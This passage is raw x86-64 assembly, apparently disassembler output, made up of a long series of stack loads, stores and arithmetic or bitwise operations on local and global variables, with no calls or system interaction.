mov rax, qword [rsp + 0x8ec0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e28]
mov dword [rcx], eax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x9210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x93a0]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b20], rax
movzx eax, word [rsp + 0x1028]
mov word [rsp + 0x10a8], ax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
add eax, ecx
mov byte [0x1401e7023], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov word [rsp + 0x10ac], ax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [0x1401e700d]
and eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0x8da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x93b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e28]
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cbc]
shl eax, cl
mov dword [rsp + 0x4e78], eax
movzx eax, word [rsp + 0x1074]
mov word [0x1401e8898], ax
movzx eax, byte [0x1401e7022]
movzx ecx, byte [rsp + 0x77]
sar eax, cl
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0xa7], al
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov byte [rcx], al
movzx eax, word [0x1401e705c]
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x4eac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8ab0]
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f40], rax
mov eax, dword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x4e2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [0x1401e8800]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8795], al
movzx eax, byte [rsp + 0xa5]
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x1084]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0x93f0], rax
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
add eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x90b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e50], rax
lea rax, [rsp + 0x9200]
mov qword [rsp + 0x93f8], rax
mov rax, qword [rsp + 0x9000]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x4ebc], eax
movsx eax, word [rsp + 0x1090]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7068], ax
movsx eax, word [0x1401e8790]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x9c]
shl eax, cl
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x10b4], ax
movsx eax, byte [rsp + 0xa3]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov qword [rsp + 0x9400], rax
mov rax, qword [0x1401e7028]
mov rcx, qword [rsp + 0x9320]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x9408], rax
mov eax, dword [rsp + 0x4eb4]
mov rcx, qword [rsp + 0x93d8]
mov qword [rsp + 0x9410], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9410]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7022]
add eax, ecx
mov byte [0x1401e8793], al
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov word [rsp + 0x10b8], ax
movzx eax, word [rsp + 0x102c]
movzx ecx, word [rsp + 0x10ac]
and eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x90c0]
movzx eax, word [rax]
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x9280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4e9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e94], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x9418], rax
mov eax, dword [rsp + 0x4e44]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
movzx eax, word [0x1401e87a0]
movzx ecx, word [rsp + 0x10ac]
add eax, ecx
mov word [0x1401e706c], ax
mov rax, qword [rsp + 0x9288]
movzx eax, byte [rax]
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x1080]
mov rcx, qword [rsp + 0x9260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [0x1401e8838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x99]
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0x9178]
mov ecx, dword [rsp + 0x4e74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x9400]
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ea4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x90e0]
mov qword [rsp + 0x9430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9430]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
xor eax, ecx
mov byte [0x1401e8796], al
movzx eax, word [rsp + 0x1028]
mov word [rsp + 0x10c0], ax
movzx eax, word [rsp + 0xff4]
mov rcx, qword [0x1401e8828]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0x9310]
movzx eax, byte [rax]
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x93b8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9340]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e48]
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8ea0]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0x92a8]
mov qword [rsp + 0x9438], rax
movzx eax, word [0x1401e7050]
mov word [0x1401e889c], ax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov byte [rsp + 0xab], al
mov rax, qword [0x1401e87a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a0]
and eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [rsp + 0x10b0]
sub eax, ecx
mov word [rsp + 0x1010], ax
mov eax, dword [rsp + 0x4eac]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9058], rax
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9370]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
sub eax, ecx
mov rcx, qword [0x1401e8870]
mov word [rcx], ax
mov rax, qword [rsp + 0x91a0]
movzx eax, byte [rax]
mov byte [rsp + 0xac], al
movsx eax, word [rsp + 0x104c]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1070], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0x9448], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9428]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eb8]
mov dword [rsp + 0x4ec8], eax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x9450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9450]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9378]
mov qword [rsp + 0x9458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4eb0], eax
movzx eax, word [rsp + 0x1004]
mov word [rsp + 0x10c4], ax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7070], ax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [0x1401e704c]
sub eax, ecx
mov rcx, qword [rsp + 0x9050]
mov word [rcx], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x9460], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0x8b], al
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x4e94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b8]
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e98]
mov dword [rsp + 0x4ecc], eax
mov rax, qword [0x1401e8810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9248]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1040]
sub eax, ecx
mov word [0x1401e8898], ax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
sub eax, ecx
mov byte [rsp + 0xa8], al
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x9470], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1034], ax
mov eax, dword [section..data]
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9368]
movzx ecx, al
mov rax, qword [rsp + 0x9058]
sar rax, cl
mov qword [rsp + 0x8af8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x9478], rax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xa0], al
movzx eax, word [rsp + 0x106c]
movzx ecx, word [rsp + 0x1084]
shl eax, cl
mov rcx, qword [0x1401e8878]
mov word [rcx], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x9480], rax
movsx eax, word [rsp + 0x10a8]
movsx ecx, word [rsp + 0x100c]
xor eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0xad], al
mov rax, qword [0x1401e87c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
and eax, ecx
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x9230]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
lea rax, [rsp + 0x9368]
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x9178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x4ed4], eax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7024], al
movsx eax, byte [0x1401e8797]
mov rcx, qword [rsp + 0x9248]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
and eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0x9280]
mov qword [rsp + 0x9490], rax
mov rax, qword [rsp + 0x91c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9210]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9138]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec4], eax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x9498], rax
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8797], al
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sar eax, cl
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
mov rax, qword [rsp + 0x9220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
lea rax, [rsp + 0x8fc8]
mov qword [rsp + 0x94a0], rax
mov eax, dword [rsp + 0x4d88]
mov ecx, dword [rsp + 0x4e34]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91a8]
mov rax, qword [rax]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4c], eax
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7074], ax
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x10cc], ax
movzx eax, byte [rsp + 0x87]
movzx ecx, byte [rsp + 0x9f]
sub eax, ecx
mov rcx, qword [rsp + 0x9340]
mov byte [rcx], al
mov rax, qword [0x1401e8870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1074]
add eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
lea rax, [rsp + 0x97]
mov qword [rsp + 0x94b0], rax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov dword [rcx], eax
lea rax, [rsp + 0x8fb8]
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [rsp + 0x8f88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ed4]
mov ecx, dword [rsp + 0x4e98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
lea rax, [0x1401e703c]
mov qword [0x1401e88a0], rax
lea rax, [rsp + 0xae]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x92b0]
movzx eax, word [rax]
mov word [rsp + 0x10d0], ax
movsx eax, byte [rsp + 0xa3]
movsx ecx, byte [rsp + 0x9d]
add eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x9188]
movzx ecx, al
mov rax, qword [rsp + 0x8d40]
shl rax, cl
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x9250]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x4edc], eax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [0x1401e8860]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8868]
mov word [rcx], ax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
movsx ecx, word [0x1401e7040]
add eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x104c]
and eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x9498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x8d50]
mov qword [rsp + 0x94d0], rax
mov eax, dword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x4e38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e8795], al
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
add eax, ecx
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x94d8], rax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x9138]
mov ecx, dword [rsp + 0x4ed4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x91c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x93b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9320]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x90d0], rax
lea rax, [0x1401e8794]
mov qword [0x1401e88a8], rax
lea rax, [rsp + 0x1064]
mov qword [rsp + 0x94e0], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x77], al
movsx eax, word [0x1401e7034]
movsx ecx, word [rsp + 0x1034]
sar eax, cl
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
movzx eax, word [rsp + 0x10d4]
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x90b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ab0], rax
mov eax, dword [rsp + 0x4ec4]
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [0x1401e706c]
add eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x93b8]
movzx eax, byte [rax]
mov byte [0x1401e87a3], al
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x109c]
sub eax, ecx
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x90a0]
movzx eax, byte [rax]
mov byte [rsp + 0xb0], al
mov rax, qword [0x1401e8848]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
and eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
mov qword [rsp + 0x94e8], rax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x94a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x9138]
mov eax, dword [rax]
mov dword [rsp + 0x4eec], eax
movzx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
movsx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e87d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov word [rsp + 0x10dc], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x92c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x86], al
lea rax, [rsp + 0x94e8]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9380]
mov qword [rcx], rax
lea rax, [rsp + 0x4e3c]
mov qword [rsp + 0x94f8], rax
mov rax, qword [rsp + 0x8f18]
mov ecx, dword [rsp + 0x4d88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cd0], eax
lea rax, [0x1401e8796]
mov qword [rsp + 0x9500], rax
lea rax, [rsp + 0x1068]
mov qword [0x1401e88b0], rax
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x102c]
xor eax, ecx
mov word [rsp + 0x10a4], ax
movsx eax, byte [rsp + 0x7f]
mov rcx, qword [0x1401e8808]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x92c8]
mov qword [rsp + 0x9508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9508]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x90e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x9210]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x91c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e68], eax
movzx eax, word [rsp + 0x1084]
mov word [rsp + 0x10e0], ax
mov rax, qword [0x1401e8890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e700f], al
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, word [0x1401e7068]
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0x92c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1084]
sub eax, ecx
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x93d8]
mov eax, dword [rax]
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
lea rax, [rsp + 0x94e8]
mov qword [rsp + 0x9510], rax
mov rax, qword [rsp + 0x8eb8]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x9470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e87f0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
